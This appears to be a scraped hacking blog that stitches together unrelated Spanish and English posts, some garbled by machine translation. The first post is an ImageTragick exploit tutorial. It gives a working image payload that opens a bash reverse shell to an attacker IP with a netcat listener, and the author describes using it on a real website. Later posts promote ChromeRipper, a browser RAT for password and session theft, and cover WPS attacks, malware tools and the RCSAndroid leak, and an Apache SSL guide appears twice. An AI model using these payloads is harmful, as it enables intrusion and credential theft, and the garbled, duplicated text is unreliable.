Revertir Shell ImageTragick de la explotación

Hmm .. explotar este hecho ya en auge hace unos tigabulan. Sin embargo, algunos de ayer día otra vez llena cuando la gente comparte noticias sobre peces de colores Herdian Nugraha que reciben 25 millones de ruplah Tokopedia y bukalapak para encontrar este error en su sitio. Tenía curiosidad y después de que ayer hubo 1CAK pavimentada, he tratado de explotar el sitio 1CAK.com tuvo éxito (ahora el error ya está también en el parche). Entonces, ¿cómo exactamente los pasos de este explotan?

ImageMagick en sí es un software de gráficos de forma gratuita. Capacidad, entre otros, fueron capaces de crear, modificar y visualizar las imágenes de mapa de bits, además de ser capaz de leer, escribir y realizar las conversiones en una variedad de diferentes formatos de imagen.

Está bien simplemente al paso de zancada. Aquí espero que ya ha creado para VPS o podría ser una dirección IP estática, porque vamos a utilizar para obtener un shell inversa.
Ahora vamos a crear un archivo con el siguiente contenido:
push graphic-context
viewbox 0 0 840 780
fill 'url(https://127.0.0.0/oops.jpg"; bash -i >& /dev/tcp/198.23.121.1337/6969 0>&1)'
pop graphic-context
Debido 1cak sólo permiten archivos de tipo jpg y png, a continuación, guardar el archivo con formato jpg / png. Ajuste también la PI y su puerto de escucha.
Por otra parte, desde VPS entramos en el siguiente comando:
nc -lvp 6969
A continuación, cargar el archivo de carga útil que hemos creado antes. En este caso, he intentado subir a través de la función de carga en 1cak meme. 
Me sale el siguiente error:
Pero, al mismo tiempo que hemos mendpatkan acceso a una consola interactiva en nuestros VPS.
Estoy intentando leer un archivo de configuración en la base de datos de directorio y registrar inc. También puede ser.

Bueno hasta aquí el tutorial si diterusin incluso ser enseñado que Engga Engga.
Bueno por lo que este tutorial, puede ser útil.

Read how someone uploaded the Shell (backdoor) on the ‪‎Facebook‬ Server



That’s the most commonly asked question during this decade.

It’s a hacker dream to hack Facebook website for earning bug bounty or for any malicious purpose.

Facebook security team recently found that someone, probably a blackhat hacker with malicious intent, has breached into its server and installed a backdoor that was stealing Facebook employee's login credentials.
Since the backdoor discovered in the Facebook’s corporate server, not on its main server, Facebook user accounts are not affected by this incident.


Though the company would have never known about the backdoor if a whitehat hacker had never spotted the backdoor script while hunting for vulnerabilities.

Also Read: Ever Wondered How Facebook Decides, How much Bounty Should be Paid?

Security researcher Orange Tsai of Taiwanese security vendor Devco accidentally came across a backdoor script on one of Facebook’s corporate servers while finding bugs to earn cash reward from Facebook.

Tsai scanned Facebook's IP address space that led him to the files.fb.com domain that was hosting a vulnerable version of the Secure File Transfer application (FTA) made by Accellion and was used by Facebook employees for file sharing and collaboration.

Tsai analyzed the vulnerable FTA and discovered seven security flaws as he explained in his blog post:

  • 3 Cross-site scripting (XSS) flaws,
  • 2 Remote code execution flaws,
  • 2 Local privilege escalation issues.

facebook-server

facebook-server

The researcher then used the vulnerabilities he found in the Accellion Secure FTA and gained access to Facebook's server.

After successfully achieving his goal, Tsai started analyzing logs information available on the Facebook’s server for preparing his bug report, and that is exactly when he spotted a PHP-based backdoor, popularly known as a PHP Web shell, that had possibly been installed on the server by a malicious hacker.

Tsai then reported all of his findings to the Facebook security team, which rewarded him with $10,000 (€8,850) for his efforts and started its own forensics investigation that was completed this month, allowing the researcher to disclose the vulnerabilities responsibly.
Fuente: TheHackerNews

ChromeRipper un RAT para browsers


ChromeRipper es un RAT diseñado para browsers, inicialmente para Google Chrome basado en la potencia que ofrece Google Chrome con las extensiones.

Dashboard de ChromeRipper


Algunas de las características son:

  • Información básica del browser.
  • Ver las pestañas activas.
  • Interceptar trafico por el método POST(Captura de contraseñas)
  • Keylogger
  • Abrir una pestaña nueva.
  • Tomar una captura de pantalla(pestaña activa).
  • Ver si hay sesiones en (fb, google, twitter, yahoo)
  • Clonar sesiones si existen (fb, google, twitter, yahoo)
  • Ejecución de código Javascript.
  • Acceder a history del navegador.
  • Captura de contraseñas (fb, google, twitter, yahoo, outlook, paypal, amazon, wordpress, joomla, SMF,  CMS's)
Video DEMO: Intercepting POST traffics and Capturing Wordpres and Joomla Passwords



Por ahora ChromeRipper esta hosteado en -> http://consejostech.com

The Mentor Hacker - Manifiesto Hacker - La Conciencia de un Hacker - 1986


                    Volumen Uno, número 7, Phile 3 de 10

= - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - =
Lo siguiente fue escrito poco después de mi arresto ...

            \ / \ La Conciencia de un Hacker / \ /

        por

  + + + El Mentor + + +

                    Escrito el 08 de enero 1986
= - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - =


 Hoy han cogido a otro, aparece en todos los periódicos. "Joven arrestado por delito informático",
 "hacker arrestado por irrumpir en un sistema bancario".
 "Malditos críos. Son todos iguales".

 ¿Pero pueden, con su psicología barata y su cerebro de los años cincuenta, 
siquiera echar un vistazo a lo que hay detrás de los ojos de un hacker?
 ¿Se han parado alguna vez a pensar qué es lo que les hace comportarse así, 
qué les ha convertido en lo que son? Yo soy un hacker, entre en mi mundo.
 Mi mundo comienza en el colegio. Soy más listo que el resto de mis compañeros, 
lo que enseñan me parece muy aburrido. "Malditos profesores. Son todos iguales". 
Puedo estar en el colegio o un instituto. Les he oído explicar cientos de veces cómo se reducen las fracciones. Todo eso ya lo entiendo. "No, Sr. Smith, no he escrito mi trabajo.
 Lo tengo guardado en la cabeza". "Malditos críos.
 Seguro que lo ha copiado. Son todos iguales".

 Hoy he descubierto algo. Un ordenador. Un momento, esto mola. 
Hace lo que quiero que haga. Si comete errores, es porque yo le he dicho que lo haga.
 No porque yo no le guste, me tenga miedo, piense que soy un listillo o no le guste ni enseñar ni estar aquí. Malditos críos. A todo lo que se dedican es a jugar. Son todos iguales. Entonces ocurre algo...
 se abre una puerta a un nuevo mundo... todo a través de la línea telefónica,
 como la heroína a través de las venas, se emana un pulso electrónico, 
buscaba un refugio ante las incompetencias de todos los días... y me encuentro con un teclado.
 "Es esto... aquí pertenezco... ". Conozco a todo mundo... aunque nunca me haya cruzado con ellos, les dirigiese la palabra o escuchase su voz... los conozco a todos... malditos críos. 

Ya está enganchado otra vez al teléfono. Son todos iguales... 
puedes apostar lo quieras a que son todos iguales... les das la mano y se toman el brazo... y se quejan de que se lo damos todo tan masticado que cuando lo reciben ya ni siquiera tiene sabor. O nos gobiernan los sádicos o nos ignoran los apáticos. Aquellos que tienen algo que enseñar buscan desesperadamente alumnos que quieran aprender, pero es como encontrar una aguja en un pajar. 

Este mundo es nuestro... el mundo de los electrones y los interruptores, la belleza del baudio. Utilizamos un servicio ya existente, sin pagar por eso que podrían haber sido más barato si no fuese por esos especuladores. Y nos llamáis delincuentes. Exploramos... y nos llamáis delincuentes. Buscamos ampliar nuestros conocimientos... y nos llamáis delincuentes. No diferenciamos el color de la piel, ni la nacionalidad, ni la religión... y vosotros nos llamáis delincuentes. Construís bombas atómicas, hacéis la guerra, asesináis, estafáis al país y nos mentís tratando de hacernos creer que sois buenos, y aún nos tratáis de delincuentes.

 Sí, soy un delincuente. Mi delito es la curiosidad. Mi delito es juzgar a la gente por lo que dice y por lo que piensa, no por lo que parece. Mi delito es ser más inteligente que vosotros, algo que nunca me perdonaréis. 

Soy un hacker, y éste es mi manifiesto. Podéis eliminar a algunos de nosotros, pero no a todos...  después de todo, somos todos iguales.    
    

          + + + El Mentor + + +
_______________________________________________________________________________

Hackear Redes wifi via wps

Qué es WPS y cómo usarlo como vector de ataque


Este es el segundo video de la serie de pentesting en esta ocasion se explicara que es el wps y como aprovecharlo para realizar un ataque usando wifislax.

 WPS, o Wi-Fi Protected Setup, es una estandar de seguridad de red presente en algunos routers que nos permite conectarnos de forma inalámbrica con tan solo pulsar un botón. Así, no es necesario introducir a mano la contraseña del WiFi y el emparejamiento con dispositivos compatibles se lleva a cabo de forma mucho más sencilla 



Herramientas de analisis de malware

 

Existen muchas formas de analizar el malware para algunos esto es un pasatiempo ir analizando bichos para ver que tienen. en un pos anterior les mostraba como descubrir si tu pc esta infectada usando solo herramientaspara saber si hacen alguna conexion o deja un autoinicio.

En este caso solo dejare estas herramientas como complemento del primero si encontraste un archivo infectado y quieres revisar que funciones hace estos programas permiten mirar paso a paso los movimientos del malware mas que nada es para comprobar si un ejecutable es de fiar o no. por ejemplo crypter keylogger o algun programa que realmente quieras pero venga con regalo incluido.

 Sandboxie version 4.12

Su modo de uso 
Es tan sencillo como dar un click derecho y enviar al sandboxie.

Lo pueden descargar desde la pagina oficial

Buster Sandbox Analizer (BSA)
 BSA, herramienta diseñada para analizar cambios que ocurren en el sistema, basada en Sandboxie permitiendo ejecutar ficheros en un ambiente controlado.
Una de las Principales caracteristicas es que hace hook a la funcion NtQuerySystemInformation(ssdt Hook)


Descargar





Para configurar esta herremienta requiere que tengas instalado sandboxie ya que tienes que compartir la carpeta. como esta en la image.

igual requiere unas configuraciones extras

Abres sanboxie Configurar> Editar configuracion
se te abrira un archivo de configuracion en un bloc de notas.

Ahora ejecuta el  BSA y podras mirar el manual en la pestaña ayuda. incluye un manual de instalacion.


el objetivo seria copiar esas lineas de codigo e irlas colocando en el archivo de configuracion del sandboxie.

Este programa a mi parecer es recomendado. ya que da un reporte de procesos creados y hasta la ip en caso que haya conexiones.

Pare dejar mas clara la configuracion de BSA dejo el siguiente video. no es mio pero va bien explicado.

RCSAndroid en GitHub

Una vez puesta on-line toda la información que poseía Hacking Team, ademas de códigos fuentes, muchos investigadores de seguridad, hackers, crackers se pusieron a mirar a lo que parecía esto un sin fin de herramientas, exploits etc.
Hoy se supo de RCSAndroid a lo que parece ser la heramienta mas sofisticada para atacar smartphones con Android que desarrolló Hacking Team.
Una vez que era instalado RCSAndroid, las funciones eran múltiples aquí algunas:
  • Capturar pantallas por método nativo.
  • Recolectar todas las contraseñas de wifi incluyendo cuentas online, facebook, WhastApp, Twitter, Google, Skype y LinkedIn.
  • Recolección, lectura de sms y gmail.
  • Captura de llamadas en tiempo real, gracias a “MediaServer”
  • Captura de fotos incluyendo la captura de la cámara frontal.
  • Grabar
  • Geolocalización
  • Conseguir información exacta acerca del smartphone
  • Recolectar y descifrar mensajes de WhatsApp, Telegram, Facebook Messenger, Skype, WeChat, Viber, Line, Hangouts y BlackBerry.Al parecer RCSAndroid fue desarrollado por los años 2012 y fuera usado con usuarios de android en Arabia Saudí.
¿Como hace el proceso de infeccón?
Dos maneras para infectar
Te enviaban una URL maliciosa y ahí estaban preparados muchos exploits incluidos los
(CVE-2012-2825 and CVE-2012-2871) los mas resaltantes Android 4.0 Ice Cream to 4.3 Jelly Bean que el atacante podía tener privilegios root.
La otra era por “BeNews” una App legal que esta en la store y te instalaban el APK.
Sobre Lolipop, Hacking Team estaba en proceso de desarrollo para implementar sobre Lolipop.



RCSAndroid — Advanced Android Hacking Tool Leaked Online - GitHub

android-hacking-tool

As digging deeper and deeper into the huge Hacking Team data dump, security researchers are finding more and more source code, including an advanced Android Hacking Tool.

Yes, this time researchers have found a source code to a new piece of weaponized android malware that had the capability to infect millions of Android devices even when users are running latest versions of the android mobile operating system.

Trend Micro researchers found that the Italian spyware company was selling RCSAndroid (Remote Control System Android), which they says, is one of the "most professionally developed and sophisticated" pieces of Android malware a.k.a Android hacking tool they have ever seen.
RCSAndroid is a sophisticated, real-world surveillance and hacking tool that provides even unskilled hackers to deploy one of the world's more advanced surveillance suites for Google's mobile operating system Android.

List of Creepy Features of Android Hacking Tool


Once installed on targets' devices, RCSAndroid would have helped government and law enforcement agencies around the world to completely compromise and monitor Android devices remotely.

Here are some of the features of RCSAndroid include the ability to:
  • Capture screenshots using the 'screencap' command and framebuffer direct reading
  • Collect passwords for Wi-Fi networks and online accounts, including WhatsApp, Facebook, Twitter, Google, Skype, and LinkedIn
  • Collect SMS, MMS, and Gmail messages
  • Capture real-time voice calls in any network or application by hooking into the 'mediaserver' system service
  • Capture photos using the front and back cameras
  • Monitor clipboard content
  • Record using the microphone
  • Record location
  • Gather device information
  • Collect contacts and decode messages from IM accounts, including WhatsApp, Telegram, Facebook Messenger, Skype, WeChat, Viber, Line, Hangouts, and BlackBerry Messenger.

RCSAndroid Android hacking tool had been in the wild since 2012 and has been known to Citizen Lab researchers since last year when the security firm detailed a Hacking Team backdoor used against Android users in Saudi Arabia.

How RCSAndroid hacking tool infects a Target?


RCSAndroid uses two different methods to infect targeted Android devices.

1. Hacking Team used text and email messages containing specially crafted URLs that triggered exploits for several vulnerabilities (CVE-2012-2825 and CVE-2012-2871) present in the default browsers of Android 4.0 Ice Cream to 4.3 Jelly Bean, allowing the attacker to gain root privileges, and install the RCSAndroid APK.

2. The company used backdoor apps such as "BeNews" available on the official Google Play Store to take advantage of a local privilege escalation bug to root the device and install the RCSAndroid agent.

RCSAndroid has 4 'critical components':

  • Penetration solutions – Methods to get into the device, either via SMS or email or a legitimate app
  • Low-level native code – Advanced exploits and spy tools beyond Android's security framework
  • High-level Java agent – The application's malicious APK
  • Command-and-control (C&C) servers – Servers used to remotely send or receive malicious commands

Given that the source code of RCSAndroid is now available to everybody, it will likely put Android users in danger. So, if you own a smartphone running any Android version from 4.0 Ice Cream to 4.3 Jelly Bean, you need to 'Get Rid of it Today.'
"The leaked RCSAndroid code is a commercial weapon now in the wild," security researchers wrote in a blog post. "Mobile users are called on to be on top of this news and be on guard for signs of monitoring. Some indicators may come in the form of peculiar behavior such as unexpected rebooting, finding unfamiliar apps installed, or instant messaging apps suddenly freezing."
Users of Android 5.0 Lollipop may also be in danger of being targeted, as some emails sent among Hacking Team executives indicates that "Hacking Team was in the process of developing exploits for Android 5.0 Lollipop," but so far there is no such indication.

¿Como crear certificados SSL en Linux | localhost ?

Introduction

TLS, or transport layer security, and its predecessor SSL, secure sockets layer, are secure protocols created in order to place normal traffic in a protected, encrypted wrapper.
These protocols allow traffic to be sent safely between remote parties without the possibility of the traffic being intercepted and read by someone in the middle. They are also instrumental in validating the identity of domains and servers throughout the internet by establishing a server as trusted and genuine by a certificate authority.
In this guide, we'll cover how to create a self-signed SSL certificate for Apache on an Ubuntu 14.04 server, which will allow you to encrypt traffic to your server. While this does not provide the benefit of third party validation of your server's identity, it fulfills the requirements of those simply wanting to transfer information securely.

Prerequisites

Before you begin, you should have some configuration already taken care of.
We will be operating as a non-root user with sudo privileges in this guide. You can set one up by following steps 1-4 in our Ubuntu 14.04 initial server setup guide.
You are also going to need to have Apache installed. If you don't already have that up and running, you can quickly fix that by typing:
sudo apt-get update
sudo apt-get install apache2

Step One — Activate the SSL Module

SSL support actually comes standard in the Ubuntu 14.04 Apache package. We simply need to enable it to take advantage of SSL on our system.
Enable the module by typing:
sudo a2enmod ssl
After you have enabled SSL, you'll have to restart the web server for the change to be recognized:
sudo service apache2 restart
With that, our web server is now able to handle SSL if we configure it to do so.

Step Two — Create a Self-Signed SSL Certificate

Let's start off by creating a subdirectory within Apache's configuration hierarchy to place the certificate files that we will be making:
sudo mkdir /etc/apache2/ssl
Now that we have a location to place our key and certificate, we can create them both in one step by typing:
sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/apache2/ssl/apache.key -out /etc/apache2/ssl/apache.crt
Let's go over exactly what this means.
  • openssl: This is the basic command line tool provided by OpenSSL to create and manage certificates, keys, signing requests, etc.
  • req: This specifies a subcommand for X.509 certificate signing request (CSR) management. X.509 is a public key infrastructure standard that SSL adheres to for its key and certificate managment. Since we are wanting to create a new X.509 certificate, this is what we want.
  • -x509: This option specifies that we want to make a self-signed certificate file instead of generating a certificate request.
  • -nodes: This option tells OpenSSL that we do not wish to secure our key file with a passphrase. Having a password protected key file would get in the way of Apache starting automatically as we would have to enter the password every time the service restarts.
  • -days 365: This specifies that the certificate we are creating will be valid for one year.
  • -newkey rsa:2048: This option will create the certificate request and a new private key at the same time. This is necessary since we didn't create a private key in advance. The rsa:2048 tells OpenSSL to generate an RSA key that is 2048 bits long.
  • -keyout: This parameter names the output file for the private key file that is being created.
  • -out: This option names the output file for the certificate that we are generating.
When you hit "ENTER", you will be asked a number of questions.
The most important item that is requested is the line that reads "Common Name (e.g. server FQDN or YOUR name)". You should enter the domain name you want to associate with the certificate, or the server's public IP address if you do not have a domain name.
The questions portion looks something like this:
Country Name (2 letter code) [AU]:US
State or Province Name (full name) [Some-State]:New York
Locality Name (eg, city) []:New York City
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Your Company
Organizational Unit Name (eg, section) []:Department of Kittens
Common Name (e.g. server FQDN or YOUR name) []:your_domain.com
Email Address []:your_email@domain.com
The key and certificate will be created and placed in your /etc/apache2/ssl directory.

Step Three — Configure Apache to Use SSL

Now that we have our certificate and key available, we can configure Apache to use these files in a virtual host file. You can learn more about how to set up Apache virtual hosts here.
Instead of basing our configuration file off of the 000-default.conf file in the sites-availablesubdirectory, we're going to base this configuration on the default-ssl.conf file that contains some default SSL configuration.
Open the file with root privileges now:
sudo nano /etc/apache2/sites-available/default-ssl.conf
With the comments removed, the file looks something like this:
<IfModule mod_ssl.c>
    <VirtualHost _default_:443>
        ServerAdmin webmaster@localhost
        DocumentRoot /var/www/html
        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined
        SSLEngine on
        SSLCertificateFile /etc/ssl/certs/ssl-cert-snakeoil.pem
        SSLCertificateKeyFile /etc/ssl/private/ssl-cert-snakeoil.key
        <FilesMatch "\.(cgi|shtml|phtml|php)$">
                        SSLOptions +StdEnvVars
        </FilesMatch>
        <Directory /usr/lib/cgi-bin>
                        SSLOptions +StdEnvVars
        </Directory>
        BrowserMatch "MSIE [2-6]" \
                        nokeepalive ssl-unclean-shutdown \
                        downgrade-1.0 force-response-1.0
        BrowserMatch "MSIE [17-9]" ssl-unclean-shutdown
    </VirtualHost>
</IfModule>
This may look a bit complicated, but luckily, we don't need to worry about most of the options here.
We want to set the normal things we'd configure for a virtual host (ServerAdmin, ServerName, ServerAlias, DocumentRoot, etc.) as well as change the location where Apache looks for the SSL certificate and key.
In the end, it will look something like this. The entries in red were modified from the original file:
<IfModule mod_ssl.c>
    <VirtualHost _default_:443>
        ServerAdmin admin@example.com
        ServerName your_domain.com
        ServerAlias www.your_domain.com
        DocumentRoot /var/www/html
        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined
        SSLEngine on
        SSLCertificateFile /etc/apache2/ssl/apache.crt
        SSLCertificateKeyFile /etc/apache2/ssl/apache.key
        <FilesMatch "\.(cgi|shtml|phtml|php)$">
                        SSLOptions +StdEnvVars
        </FilesMatch>
        <Directory /usr/lib/cgi-bin>
                        SSLOptions +StdEnvVars
        </Directory>
        BrowserMatch "MSIE [2-6]" \
                        nokeepalive ssl-unclean-shutdown \
                        downgrade-1.0 force-response-1.0
        BrowserMatch "MSIE [17-9]" ssl-unclean-shutdown
    </VirtualHost>
</IfModule>
Save and exit the file when you are finished.

Step Four — Activate the SSL Virtual Host

Now that we have configured our SSL-enabled virtual host, we need to enable it.
We can do this by typing:
sudo a2ensite default-ssl.conf
We then need to restart Apache to load our new virtual host file:
sudo service apache2 restart
This should enable your new virtual host, which will serve encrypted content using the SSL certificate you created.

Step Five — Test your Setup

Now that you have everything prepared, you can test your configuration by visiting your server's domain name or public IP address after specifying the https:// protocol, like this:
https://server_domain_name_or_IP
You will get a warning that your browser cannot verify the identity of your server because it has not been signed by one of the certificate authorities that it trusts.
apache ssl warning
This is expected since we have self-signed our certificate. While our certificate will not validate our server for our users because it has had no interaction with a trusted certificate authority, it will still be able to encrypt communication.
Since this is expected, you can hit the "Proceed anyway" button or whatever similar option you have in your browser.
You will now be taken to content in the DocumentRoot that you configured for your SSL virtual host. This time your traffic is encrypted. You can check this by clicking on the lock icon in the menu bar:
apache ssl encrypted
You can see in the middle green section that the connection is encrypted.

Conclusion

You should now have SSL enabled on your website. This will help to secure communication between visitors and your site, but it will warn each user that the browser cannot verify the validity of the certificate.
If you are planning on launching a public site and need SSL, you will be better off purchasing an SSL certificate from a trusted certificate authority.
If you want to learn more about how to configure Apache, click here. Check out this link for more ideas on how to secure your Linux server.

How To Create a SSL Certificate on Apache for Ubuntu 14.04

Introduction

TLS, or transport layer security, and its predecessor SSL, secure sockets layer, are secure protocols created in order to place normal traffic in a protected, encrypted wrapper.
These protocols allow traffic to be sent safely between remote parties without the possibility of the traffic being intercepted and read by someone in the middle. They are also instrumental in validating the identity of domains and servers throughout the internet by establishing a server as trusted and genuine by a certificate authority.
In this guide, we'll cover how to create a self-signed SSL certificate for Apache on an Ubuntu 14.04 server, which will allow you to encrypt traffic to your server. While this does not provide the benefit of third party validation of your server's identity, it fulfills the requirements of those simply wanting to transfer information securely.

Prerequisites

Before you begin, you should have some configuration already taken care of.
We will be operating as a non-root user with sudo privileges in this guide. You can set one up by following steps 1-4 in our Ubuntu 14.04 initial server setup guide.
You are also going to need to have Apache installed. If you don't already have that up and running, you can quickly fix that by typing:
sudo apt-get update
sudo apt-get install apache2

Step One — Activate the SSL Module

SSL support actually comes standard in the Ubuntu 14.04 Apache package. We simply need to enable it to take advantage of SSL on our system.
Enable the module by typing:
sudo a2enmod ssl
After you have enabled SSL, you'll have to restart the web server for the change to be recognized:
sudo service apache2 restart
With that, our web server is now able to handle SSL if we configure it to do so.

Step Two — Create a Self-Signed SSL Certificate

Let's start off by creating a subdirectory within Apache's configuration hierarchy to place the certificate files that we will be making:
sudo mkdir /etc/apache2/ssl
Now that we have a location to place our key and certificate, we can create them both in one step by typing:
sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/apache2/ssl/apache.key -out /etc/apache2/ssl/apache.crt
Let's go over exactly what this means.
  • openssl: This is the basic command line tool provided by OpenSSL to create and manage certificates, keys, signing requests, etc.
  • req: This specifies a subcommand for X.509 certificate signing request (CSR) management. X.509 is a public key infrastructure standard that SSL adheres to for its key and certificate managment. Since we are wanting to create a new X.509 certificate, this is what we want.
  • -x509: This option specifies that we want to make a self-signed certificate file instead of generating a certificate request.
  • -nodes: This option tells OpenSSL that we do not wish to secure our key file with a passphrase. Having a password protected key file would get in the way of Apache starting automatically as we would have to enter the password every time the service restarts.
  • -days 365: This specifies that the certificate we are creating will be valid for one year.
  • -newkey rsa:2048: This option will create the certificate request and a new private key at the same time. This is necessary since we didn't create a private key in advance. The rsa:2048 tells OpenSSL to generate an RSA key that is 2048 bits long.
  • -keyout: This parameter names the output file for the private key file that is being created.
  • -out: This option names the output file for the certificate that we are generating.
When you hit "ENTER", you will be asked a number of questions.
The most important item that is requested is the line that reads "Common Name (e.g. server FQDN or YOUR name)". You should enter the domain name you want to associate with the certificate, or the server's public IP address if you do not have a domain name.
The questions portion looks something like this:
Country Name (2 letter code) [AU]:US
State or Province Name (full name) [Some-State]:New York
Locality Name (eg, city) []:New York City
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Your Company
Organizational Unit Name (eg, section) []:Department of Kittens
Common Name (e.g. server FQDN or YOUR name) []:your_domain.com
Email Address []:your_email@domain.com
The key and certificate will be created and placed in your /etc/apache2/ssl directory.

Step Three — Configure Apache to Use SSL

Now that we have our certificate and key available, we can configure Apache to use these files in a virtual host file. You can learn more about how to set up Apache virtual hosts here.
Instead of basing our configuration file off of the 000-default.conf file in the sites-availablesubdirectory, we're going to base this configuration on the default-ssl.conf file that contains some default SSL configuration.
Open the file with root privileges now:
sudo nano /etc/apache2/sites-available/default-ssl.conf
With the comments removed, the file looks something like this:
<IfModule mod_ssl.c>
    <VirtualHost _default_:443>
        ServerAdmin webmaster@localhost
        DocumentRoot /var/www/html
        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined
        SSLEngine on
        SSLCertificateFile /etc/ssl/certs/ssl-cert-snakeoil.pem
        SSLCertificateKeyFile /etc/ssl/private/ssl-cert-snakeoil.key
        <FilesMatch "\.(cgi|shtml|phtml|php)$">
                        SSLOptions +StdEnvVars
        </FilesMatch>
        <Directory /usr/lib/cgi-bin>
                        SSLOptions +StdEnvVars
        </Directory>
        BrowserMatch "MSIE [2-6]" \
                        nokeepalive ssl-unclean-shutdown \
                        downgrade-1.0 force-response-1.0
        BrowserMatch "MSIE [17-9]" ssl-unclean-shutdown
    </VirtualHost>
</IfModule>
This may look a bit complicated, but luckily, we don't need to worry about most of the options here.
We want to set the normal things we'd configure for a virtual host (ServerAdmin, ServerName, ServerAlias, DocumentRoot, etc.) as well as change the location where Apache looks for the SSL certificate and key.
In the end, it will look something like this. The entries in red were modified from the original file:
<IfModule mod_ssl.c>
    <VirtualHost _default_:443>
        ServerAdmin admin@example.com
        ServerName your_domain.com
        ServerAlias www.your_domain.com
        DocumentRoot /var/www/html
        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined
        SSLEngine on
        SSLCertificateFile /etc/apache2/ssl/apache.crt
        SSLCertificateKeyFile /etc/apache2/ssl/apache.key
        <FilesMatch "\.(cgi|shtml|phtml|php)$">
                        SSLOptions +StdEnvVars
        </FilesMatch>
        <Directory /usr/lib/cgi-bin>
                        SSLOptions +StdEnvVars
        </Directory>
        BrowserMatch "MSIE [2-6]" \
                        nokeepalive ssl-unclean-shutdown \
                        downgrade-1.0 force-response-1.0
        BrowserMatch "MSIE [17-9]" ssl-unclean-shutdown
    </VirtualHost>
</IfModule>
Save and exit the file when you are finished.

Step Four — Activate the SSL Virtual Host

Now that we have configured our SSL-enabled virtual host, we need to enable it.
We can do this by typing:
sudo a2ensite default-ssl.conf
We then need to restart Apache to load our new virtual host file:
sudo service apache2 restart
This should enable your new virtual host, which will serve encrypted content using the SSL certificate you created.

Step Five — Test your Setup

Now that you have everything prepared, you can test your configuration by visiting your server's domain name or public IP address after specifying the https:// protocol, like this:
https://server_domain_name_or_IP
You will get a warning that your browser cannot verify the identity of your server because it has not been signed by one of the certificate authorities that it trusts.
apache ssl warning
This is expected since we have self-signed our certificate. While our certificate will not validate our server for our users because it has had no interaction with a trusted certificate authority, it will still be able to encrypt communication.
Since this is expected, you can hit the "Proceed anyway" button or whatever similar option you have in your browser.
You will now be taken to content in the DocumentRoot that you configured for your SSL virtual host. This time your traffic is encrypted. You can check this by clicking on the lock icon in the menu bar:
apache ssl encrypted
You can see in the middle green section that the connection is encrypted.

Conclusion

You should now have SSL enabled on your website. This will help to secure communication between visitors and your site, but it will warn each user that the browser cannot verify the validity of the certificate.
If you are planning on launching a public site and need SSL, you will be better off purchasing an SSL certificate from a trusted certificate authority.
If you want to learn more about how to configure Apache, click here. Check out this link for more ideas on how to secure your Linux server.